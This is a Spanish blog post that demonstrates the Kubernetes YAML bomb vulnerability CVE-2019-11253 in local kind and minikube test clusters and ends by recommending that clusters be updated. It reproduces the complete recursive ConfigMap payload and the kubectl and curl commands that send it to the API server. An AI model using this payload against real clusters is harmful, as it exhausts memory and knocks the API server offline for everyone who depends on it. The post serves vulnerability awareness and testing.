miércoles, 9 de octubre de 2019

Probando una bomba YALM en Kubernetes

El próximo martes 15 de octubre se publican nuevas versiones menores de las diferentes versiones de Kubernetes. Son las siguientes:
  • 1.16.2
  • 1.15.5
  • 1.14.8
  • 1.13.12
En estas versiones se resuelve una vulnerabilidad (la CVE-2019-11253) que permite una bomba YALM. ¿Qué es eso de una bomba YALM? Como toda bomba lógica, se trata de un código que mediante recursividad consigue que el sistema agote los recursos que tiene y se bloquee o quede en un estado no recuperable. 

Así que para ver de qué se trataba esta bomba, la hemos probado. En la página del issue Github que lo documenta se encuentra un ejemplo de fichero que si lo guardamos en un fichero 'manifest.yalm' puede provocar la bomba ejecutando la siguiente orden: 

kubectl create -f manifest.yalm

Para probarlo he utilizado kind (Kubernetes in Docker), ya que de esta forma se puede ver el contenedor que crea el nodo del cluster mediante la herramienta csysdig. A la vez, también he puesto un htop en otra consola para ver la utilización de recursos de sistema.

Recursos antes de bomba YALM


Como se puede ver, kind ha creado un contenedor llamado 'kind-control-plane', y en la parte de abajo se ve el uso de memoria y swap de 1.85G y 1.49G respectivamente.

Después de ejecutar la bomba YALM lógica, la memoria ha comenzado a crecer:

Recursos durante la bomba yalm

Como se puede ver el efecto de esta bomba lógica se da en el cliente, que como se ve en la imagen ha comenzado a llenar la memoria RAM y ha comenzado con el swap. 

¿Qué hace la bomba YALM del ejemplo? Vamos a verla:

apiVersion: v1
data:
  a: &a ["web","web","web","web","web","web","web","web","web"]
  b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
  c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
  d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
  e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
  f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
  g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
  h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
  i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
kind: ConfigMap
metadata:
  name: yaml-bomb
  namespace: default

Lo único que hace es crear un ConfigMap de forma recursiva. Este al ser parseado por kubectl hace que este comience a crecer de forma incontrolada. Esto realmente tampoco sería muy peligroso... si no pudieramos atacar directamente al servidor API, pero sí que podemos (depende de los permisos que tenga un usuario, pero supongamos que los suficientes como para crear ConfigMaps).

Tras un par de pruebas en las que he conseguido bloquear totalmente mi máquina y varios reinicios (con lo que he podido comprobar que la bomba funciona perfectamente atacando directamente a la API), he decidido pasar a hacer la prueba de la bomba YALM con Minikube, para tenerlo en una máquina virtual con recursos restringidos.

Así que por un lado entro en la máquina virtual de minikube para hacer un top y ver los recursos que consume sin nada encendido:

minikube ssh

recursos minikube antes de ataque de bomba YALM

En otra terminal abro un proxy al API:

kubectl proxy

Y en una tercera ejecuto una petición directa al servidor API:

curl -X POST http://127.0.0.1:8001/api/v1/namespaces/default/configmaps -H "Content-Type: application/yaml" --data-binary @manifest.yalm   

Pocos segundos después los recursos de la máquina virtual se disparan, y es más, deja de responder a las peticiones más sencillas, por ejemplo de listar los nodos del cluster, dando timeout.

recursos minikube durante ataque de bomba YALM

Este es un ejemplo de como un usuario malintencionado puede comprometer un cluster con una bomba YALM, ya que el servidor API es el encargado de realizar todas las creaciones y destrucciones de los pods en los nodos esclavos. Si el servidos API no responde y no tenemos replicas del mismo en un escenario de alta disponibilidad (con varios nodos maestros), dejaremos de tener acceso al cluster.

De nuevo otro buen motivo para mantener nuestros clusters actualizados con las versiones más actuales.  

No hay comentarios:

Publicar un comentario